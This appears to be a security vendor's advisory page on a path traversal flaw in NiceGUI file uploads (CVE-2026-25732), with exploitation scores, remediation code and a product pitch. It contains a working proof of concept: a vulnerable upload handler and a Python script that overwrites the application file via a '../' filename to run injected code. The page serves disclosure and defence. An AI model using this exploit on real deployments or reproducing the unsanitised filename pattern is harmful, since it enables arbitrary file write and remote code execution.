Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-9ffm-fxg3-xrhh nicegui

HIGH

GHSA-9ffm-fxg3-xrhh is a high-severity (CVSS 7.5) Path Traversal vulnerability in nicegui. 1 public exploit reference exists, so weaponization risk is real. A fix is available for nicegui — see the affected versions and patch details below.

NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write

Also known asCVE-2026-25732PYSEC-2026-95
Published
Feb 5, 2026
Updated
Jun 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-9ffm-fxg3-xrhh.

EPSS Exploitation Probability

via FIRST.org ↗
3.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs88th percentile — riskier than 88% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-9ffm-fxg3-xrhh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍nicegui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

  • Relative paths with ../ sequences
  • Absolute paths
  • Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

  • Terminal 1 (App)
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &
  • Terminal 2 (Exploit)
cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py
  • Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

  • Write files to any location writable by the application process
  • Overwrite Python application files to achieve remote code execution upon restart
  • Overwrite configuration files to alter application behavior
  • Write SSH keys, systemd units, or cron jobs for persistent access
  • Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

async def handle_upload(e):
    safe_name = Path(e.file.name).name # Strip directory components!
    await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:
    target = Path(path).resolve()
    
    if base_dir is not None:
        base_dir = base_dir.resolve()
        if not target.is_relative_to(base_dir):
            raise ValueError(
                f"Path '{target}' escapes base directory '{base_dir}'"
            )
    
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIniceguiall versions3.7.0pip install --upgrade 'nicegui==3.7.0'
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52534webappsmultiple

NiceGUI 3.6.1 - Path Traversal

by banyamer · Apr 30, 2026

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nicegui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update nicegui to 3.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9ffm-fxg3-xrhh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9ffm-fxg3-xrhh can be triaged on real exposure rather than presence alone.

Tailored to GHSA-9ffm-fxg3-xrhh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary NiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. **Note**: Exploitation requires application code incorporating `file.name`
O3 Security · Impact-Aware SCA

Is GHSA-9ffm-fxg3-xrhh in your dependencies?

O3 Security finds GHSA-9ffm-fxg3-xrhh across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-9ffm-fxg3-xrhh: nicegui RCE (High 7.5) | O3 Security